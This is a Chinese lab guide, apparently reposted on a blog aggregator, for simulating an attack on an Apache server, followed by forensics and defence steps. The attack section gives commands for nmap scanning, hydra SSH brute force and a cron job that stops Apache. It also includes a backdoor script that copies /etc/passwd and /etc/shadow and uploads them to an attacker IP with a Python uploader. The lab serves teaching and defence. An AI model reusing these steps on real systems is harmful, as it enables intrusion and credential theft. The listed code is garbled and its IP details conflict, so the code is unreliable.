Apache服务关闭攻防场景模拟实验

news2024/12/25 10:51:40

一、场景概述

攻击机攻击已知的公共Apache web服务器,导致Apache服务关闭,web网站无法访问。攻击者利用安全外壳 (SSH) 暴力攻击访问服务器,并上传后门文件和脚本,每分钟将服务器的用户名称和密码发送给攻击机以保持对服务器的访问。最后,攻击机对服务器添加了一个cron 计划任务,该任务会每分钟关闭一次 Apache 服务。

二、实验目的

  1. Apache服务关闭场景攻防实战演练
  2. 暴力破解攻击事件的实战演练
  3. Linux和Apache日志研究和基础取证演练
  4. 使用Apache、SSH客户端和Linux管理工具的实战演练

三、实验环境

通过WMware创建如下虚拟机:

  1. 攻击机:安装Kali Linux系统,内置扫描工具和暴力破解工具等,IP地址为199.203.100.231
  2. Apache web服务器:安装Ubuntu x64 linux操作系统和Apache server,并搭建web网站,IP地址为172.16.100.21
  3. 取证机:安装windows 10操作系统,IP地址为10.72.51.1
  4. 取证工具机1:安装CentOS linux 和IBM QRadar SIEM,IP地址为192.168.66.6 5
  5. 取证工具机2:安装CentOS linux 和PaloAlto Firewall ,IP地址为192.168.254.253
  6. 取证工具机3:安装CentOS linux 和Zenoss,IP地址为192.168.200.133

四、 实验步骤

在这里插入图片描述
1. 攻击流程
Step1:端口扫描
攻击机使用Kali中的扫描工具(如nmap)对web服务器进行端口扫描,以探测网站的开放端口。
执行命令: nmap 172.16.100.21
Step2:SSH暴力破解攻击
攻击机使用Kali中的SSH暴力破解工具(如hydra)对web服务器进行SSH暴力破解,以获取服务器的用户名和密码。
执行命令:hydra -C userpass.txt 172.16.100.21 ssh
Step3:停止Apache服务
攻击机通过暴力破解出的用户名和密码远程登录到服务器中,创建一个计划任务,执行后门脚本,并以固定时间关闭Aapche服务。
执行命令:

crontab -e     
 /tmp/bd_bash.sh
 /etc/init.d/apache2 stop

Step4:创建后门脚本
攻击机通过暴力破解出的用户名和密码远程登录到服务器中,创建python脚本文件b64phpuploader.py和后门脚本/tmp/bd_bash.sh,从而将服务器用户名和密码发送至攻击机。
(1)在/tmp目录下创建python脚本文件b64phpuploader.py,具体代码如下:

import httplib, mimetypes
import sys, base64, os
import socket, datetime

def post_multipart(host, selector, fields, files):
“””
Post fields and files to an http host as multipart/form-data.
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files.
Return the server’s response page.
“””
content_type, body = encode_multipart formdata(fields, files)
h = httplib.HTTP(host)
h.putrequest(‘POST’, selector)
h.putheader(‘content-type, content_type)
h.putheader(‘content-length’, str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()

def encode_multipart_formdata(fields, files):
“””
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files.
Return (content_type, body) ready for httplib.HTTP instance
“””
BOUNDARY =----------This_is_the_boundary_$’
CRLF = ‘’\r\n’
L = [ ]
for (key, value) in fields:
   L.append(--+ BOUNDARY)
   L.append(‘Content-Disposition: form-data; name=%s”’ % key)
   L.append(‘’)
   L.append(value)
for(key, filename, value) in fields:
   L.append(--+ BOUNDARY)
   L.append(‘Content-Disposition: form-data; name=%s”; filename=%s”’ % (key,filename))
   L.append(‘Content-Type: %s’ % get_content_type(filename))
   L.append(‘’)
   L.append(value)
L.append(--+ BOUNDARY +--)
L.append(‘’)
body = CRLF.join(L)
content_type = ‘multipart/form-data; boundary=%s’ % BOUNDARY
return content_type, body

def get_content_type(filename):
return mimetypes.guess_type(filename) [0] or ‘application /octet-stream’

def main():
   if (len(sys.argv) != 3):
     print “Usage: %s [Host] [File]% sys.argv[0]
     sys.exit()
   host = sys.argv[1]
   uFileName = sys.argv[2]
   uFileData = base64.b64encode(open(uFileName,’rb’).read())
   uFileName = datetime.datetime.now().strf time(%Y%m%d_%H%M
%S__”) + socket.gethost
   print uFileName
   fields =[ (“MAX_FILE_SIZE”,1000000) ]
   files = [ (“uploaded_file”,uFileName,uFileData) ]
   res = post_multipart(host,”http://%s/uploader.php” % host,fields,files)
   print res

if __name__ == ‘__main__’:
   main()

(2)在/tmp目录下创建后门脚本/tmp/bd_bash.sh,具体代码如下:

#! /bin/bash

mkdir /tmp/bd               
//创建/tmp/bd/新文件夹
cp /etc/passwd /tmp/bd/    
//将/etc/文件夹中passwd文件拷贝到新建文件夹
cp /etc/shadow /tmp/bd/        
//将/etc/文件夹中shadow文件拷贝到新建文件夹                               
  
python /tmp/b64phpuploader.py 199.203.100.233 /tmp/bd/passwd      
//执行Python脚本b64phpuploader.py将服务器中passwd文件上传到攻击机
python /tmp/b64phpuploader.py 199.203.100.233 /tmp/bd/shadow
//执行Python脚本b64phpuploader.py将服务器中shadow文件上传到攻击机

2. 取证流程
(1)检测到端口扫描
Step1:通过取证机访问取证工具机1中的安全信息和事件管理工具QRadar SIEM,可检测出端口扫描事件告警;
Step2:通过取证机访问取证工具机2中的防火墙工具PaloAlto Firewall,在防火墙日志中也可查看到端口扫描活动详情。
(2) 检测到成功的密码暴力破解攻击
Step1:通过取证机访问取证工具机1中的安全信息和事件管理工具QRadar SIEM,可检测出服务器过多的失败用户登录事件,检测出失败用户登录告警。
Step2:在服务器上运行netstat命令查看服务器上所有绑定端口,可检测到服务器上运行SSH服务。
执行命令:netstat -an
Step3: 在服务器上查看SSH日志,分析日志后发现对SSH服务服务执行了多次论证尝试。
执行命令:cat /var/log/auth.log |grep Fail
(3) 检测到Apache服务故障
Step1:通过取证机访问取证工具机3中的智能监控工具Zenoss,可识别出被关闭的Apache服务。
Step2:在服务器中重启Apache服务后,发现服务将在几分钟后再次停止。
执行命令:

service apache2 status
service apache2 start

(4) 检测到Apache服务器上的Cron任务
在服务器中检查Cron任务,发现有Cron任务执行。
执行命令:crontab -l
(5) 检测到用户认证的细节被传送给攻击者
Step1:在服务器中检查Cron任务,发现有一个脚本与关闭服务命令一起运行。
Step2:调查脚本内容,发现有另一个python脚本被执行,通过解读所有脚本代码,检测到服务器用户认证信息被发送至攻击者。
3. 防御流程
(1) 在服务器中重启Apache服务
执行命令:

/etc/init.d/apache2 start
/etc/init.d/apache2 status

(2) 在服务器中删除Cron计划任务
执行命令:crontab -r
(3) 设置安全策略
通过取证机访问取证工具机2中的防火墙工具PaloAlto Firewall,设置安全策略,阻止所有来自或者去往攻击者IP的连接,阻止对服务器SSH服务服务的访问。
(4) 在服务器中删除恶意的sh脚本和python脚本
执行命令:

rm ba_bash.sh
rm b64phpuploader.py

(5) 在服务器中更改所用用户账号的的密码

五、实验报告要求

  1. 写出实验的基本信息,包括实验目的、实验环境、实验内容、实验所涉及的知识点等。
  2. 分别根据攻击流程、取证流程和防御流程,写出具体实施步骤和截图记录,并作出具体分析。
  3. 写出此场景攻防演练后的思考分析和心得体会。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/350660.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【分享】如何通过集简云将ChatGPT人工智能接入到我们的抖音中?

ChatGPT是一款非常强大的人工智能产品,可以有创造性的回复和创作文字,图片,适用于很多办公场景。这篇文章将介绍如何将ChatGPT接入到我们的抖音中。 在集简云中的ChatGPT应用 目前集简云提供了两个ChatGPT应用: OpenAI(ChatGPT)内…

什么是同步整流和异步整流

在设计降压型DCDC电路的时候,经常会听到同步整流(synchronous)和异步整流(asynchronous)。那么什么是同步整流,什么是异步整流呢从这两种电路的拓扑来看,异步整流型外围有一个续流二极管&#x…

07 OpenCV各类滤波

1 均值滤波 均值滤波器是一种基本的线性滤波器,常用于图像处理中的平滑操作。在 OpenCV 中,可以使用cv2.blur()函数或cv2.boxFilter()函数进行均值滤波操作。 均值滤波器的原理是将每个像素的灰度值替换为其周围像素灰度值的平均值。其核心思想是去除图…

Android App开发基础

文章目录一 App的开发特点1.1 App的运行环境1.2 App开发语言1.3 java语言开发1.4 Kotlin语言开发1.5 XML1.6 App连接的数据库二 App的工程结构2.1 App工程目录结构2.2 构建工具Grade2.3 编译配置文件build.gradle2.4 运行配置文件AndroidManifest.xml2.4.1 application2.4.2 ac…

科研试剂供应Pyrene-PEG3-Propargyl,芘甲酰胺-三聚乙二醇-丙炔

Pyrene-PEG3-Propargyl,Propargyl-PEG3-Pyrene,芘甲酰胺-三聚乙二醇-丙炔,芘甲酰胺三聚乙二醇丙炔反应特点:Pyrene-PEG3-Propargyl属于炔基点击试剂,点击化学的概念对化学合成领域有很大的贡献,在药 物开发…

nvdiffrast

nvidiffrast主页https://arxiv.org/pdf/2011.03277.pdfhttps://github.com/NVlabs/nvdiffrast CSC2547 Differentiable Rendering A Survey https://www.youtube.com/watch?v7LU0KcnSTc4 DR https://blog.qarnot.com/an-overview-of-differentiable-rendering/ 知乎 https:…

找不到工作的测试员一大把,大厂却招不到优秀软件测试员?高薪难寻测试工程师。

测试工程师招了快一个月了,实在招不到合适的,已经在被解雇的边缘了。。。” 初级测试工程师非常多,但真正掌握测试思维、能力强的优秀测试太少了! 据我所知, 当下的测试人员不少状态都是这样的: 在工作中…

设计模式C++实现18:迭代器模式(Iterator)

意图:提供一种方法顺序访问一个聚合对象中的各个元素,而又不需要暴露该对象的内部表示。 上下文:集合对象内部结构常常变化各异。对于这些集合对象,能否在不暴露其内部结构的同时,让外部Client透明地访问其中包含的元素…

动态规划(楼梯和股票问题)

❤ 作者主页:李奕赫揍小邰的博客 ❀ 个人介绍:大家好,我是李奕赫!( ̄▽ ̄)~* 🍊 记得点赞、收藏、评论⭐️⭐️⭐️ 📣 认真学习!!!🎉🎉 文章目录动态规划&…

抓包工具Charles(一)-下载安装与设置

无论是在测试、开发工作中,抓包都是很重要、很常用的技能。Charles作为一款抓包工具,能够满足大部分的工作需求。 文章目录一、下载地址二、安装三、安装根证书(电脑)四、设置五、抓包附录:[零基础入门接口功能测试教程…

<JVM上篇:内存与垃圾回收篇>10 - StringTable

笔记来源:尚硅谷 JVM 全套教程,百万播放,全网巅峰(宋红康详解 java 虚拟机) 文章目录10.1. String 的基本特性10.1.1. String 在 jdk9 中存储结构变更MotivationDescription10.1.2. String 的基本特性10.2. String 的内…

ARMv8 同步和信号量(Synchronization and semaphores)简介

目录 1,Load-Exclusive/Store-Exclusive 概述 2,独占式访问指令与非共享内存( Exclusive access instructions and Non-shareable memory locations) 3,独占式访问指令与共享内存( Exclusive access instructions and shareable memory lo…

文华财经期货波段趋势K线结构主图阶梯公式源码,极品多空红绿轨道指标公式

期货指标公式是通过数学逻辑角度计算而来,仅是期货分析环节中的一个辅助工具。期货市场具有不确定性和不可预测性的,请正常对待和使用指标公式! 第一步:判大势 所谓判大势,就是判断当前行情趋势,是入场前的必备步骤。…

中汽协确认参加2023EVH新能源动力总成年会

演讲主题:中国汽车工业经济运行情况 演讲大纲: 对中国汽车工业近期发展态势进行分析2023年汽车行业预测 陈士华 现任中国汽车工业协会副秘书长,兼任中国汽车工业经济技术信息研究所有限公司总经理 1999年3月至今,就职于中国汽…

接口自动化测试框架(Java 实现)

需求分析 需求点需求分析通过 yaml 配置接口操作和用例后续新增接口和测试用例只需要编写 yaml 文件即可实现。可以支持接口间的参数传递具有参数依赖的接口可以进行变量的抽取和参数赋值。支持全局、用例维度的变量存储比如时间截命名法中要用到的时间截后缀。支持用例软断言…

Go语言入门【10】Map

Map map是一种键值对形式的数据结构,一个键对应一个值,可以通过键快速检索出其对应的value值,在map中key的值是唯一的,value的值不唯一,并且map中保存的数据是无序的。 Map声明 声明Map可以使用map关键字进行声明&a…

【Yolov7】配置参数以及训练模型

一、下载Yolov7 github地址:https://github.com/WongKinYiu/yolov7 或者命令行下载 git clone https://github.com/WongKinYiu/yolov7.git二、新建一个Python环境 用Acaconda新建一个干净的环境,我命名为yolov7,python版本选择3.8 进入到…

GPT系列:GPT, GPT-2, GPT-3精简总结 (模型结构+训练范式+实验)

😄 花一个小时快速跟着 人生导师-李沐 过了一遍GPT, GPT-2, GPT-3。下面精简地总结了GPT系列的模型结构训练范式实验。 文章目录1、GPT1.1、模型结构:1.2、范式:预训练 finetune1.3、实验部分:2、GPT-22.1、模型结构2.2、范式:预…

C语言运算符(左值右值,基本运算符)

一.数据对象,左值,右值,运算符 数据对象:用于存储值的数据存储区域统称,而使用变量名是标识对象的一种方法(还有指针,后面会教的) 左值:用于标识特定数据对象的名称或表…

图的总复习

一、图的定义Graph 图是由顶点vertex集合及顶点间关系集合组成的一种数据结构: 顶点的集合 和 边的集合 二、无向图 用(x,y)表示两个顶点x和y之间的一条边(edge) 边是无方向的 N{V,E},V{0…